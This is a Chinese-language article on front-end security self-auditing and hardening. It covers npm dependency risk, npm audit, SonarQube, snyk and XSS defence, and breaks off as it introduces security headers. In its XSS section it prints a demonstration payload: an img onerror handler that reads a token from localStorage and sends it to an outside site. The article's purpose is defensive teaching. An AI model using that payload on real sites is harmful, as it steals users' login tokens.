WEB前端安全自查和加固 _WEB前端

随着开发框架和平台的不断成熟，需要开发者考虑的安全问题越来越少，但并不是开发者就不需要关心项目的安全问题。linux、Tomcat等大型项目时不时爆出安全漏洞，把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台，最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖，而这个依赖项正在窃取开发者的数字货币。
【WEB前端安全自查和加固】就前端项目来说，需要考虑的安全问题相对较少，受到攻击后的损失也不及服务器被攻击后那么大，前端主要需要考虑的安全问题有：
npm生态下依赖的安全性。npm 非常年轻，和JAVA相比包的质量参差不齐，也缺乏良好的审查机制，不过好在npm提供了一些安全工具帮我们审查依赖的安全问题。
XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式，前端开发需要日常注意，我们后面会主要讨论这类攻击。
CSRF跨站请求伪造攻击。CSRF不是非常流行，目前来说容易将此类攻击的破坏性降低到可以接受的程度。
代码自查开发者和攻击者最大的不同之处在于，开发者完全拥有代码，因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行，如果开发者在上线之前对代码进行审查和扫描，可以事半功倍。
另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞，而代码层面的审查则需要开发团队完成。
npm audit

文章插图
npm audit tool/npm 安全扫描工具
为了提高npm依赖的安全，npm 6.1 后添加了npm audit工具，这个工具可以搜索当前项目中使用的依赖是否存在安全问题，并提供了npm audit fix工具修复。
它的工作原理是维护了一个已知不良依赖的名单，如果代码中使用了直接从GitHub而不是npm仓库中获取依赖，或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时，需要谨慎考虑，不滥用依赖在前端开发也是非常重要的。
Sonarqube

文章插图
sonarqube dashboard/sonarqube 管理面板
Sonarqube应该是今年业界最为流行的代码审查工具了，Sonarqube使用了和其他开源软件一样，软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台，也可以直接使用sonarqube在线的扫描服务。公开服务的Sonarqube，可以直接和GitHub和Bitbucket集成，但是需要提供相应的授权，因此使用Sonarqube需要提供仓库权限。
Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性，并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷，我们可以使用另外更加轻量级能集成到构建脚本中的工具。
snyk如果不想暴露仓库权限，并且本地扫描，可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台，但是也提供了轻量级的本地扫描。
snyk 提供了npm安装，可以参考以下命令，简单的集成到CI中:

npm install -g snyk
snyk auth
snyk test

应对XSS攻击XSS 攻击通过向页面中注入可以执行的JavaScript代码，因为可以通过JavaScript在已经登陆的用户页面上执行，可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。XSS分为DOM型、反射型、存储型三种攻击类型，反射型和存储型服务器端可以通过过滤输出处理，对前端项目来说主要针对DOM型攻击采取安全措施。

文章插图

上面这个动图是我假设的一个漏洞，前端代码直接接收外部输入，并添加到页面上。演示攻击者使用了一段代码：

<img/src=https://www.isolves.com/it/cxkf/bk/2020-09-16/x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通过图片触发onerror事件的方式执行一段JavaScript代码片段，再读取LocalStorage中的token，最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式，这种注入XSS的代码叫做 XSS payload，很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。
使用HTTP头启用浏览器安全行为浏览器有很多内置的安全行为，可以防范XSS攻击，第一步需要做的是在上线时合理配置服务器环境，这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事，这里有一个checklist，分别说明了一些必要的HTTP头和用途。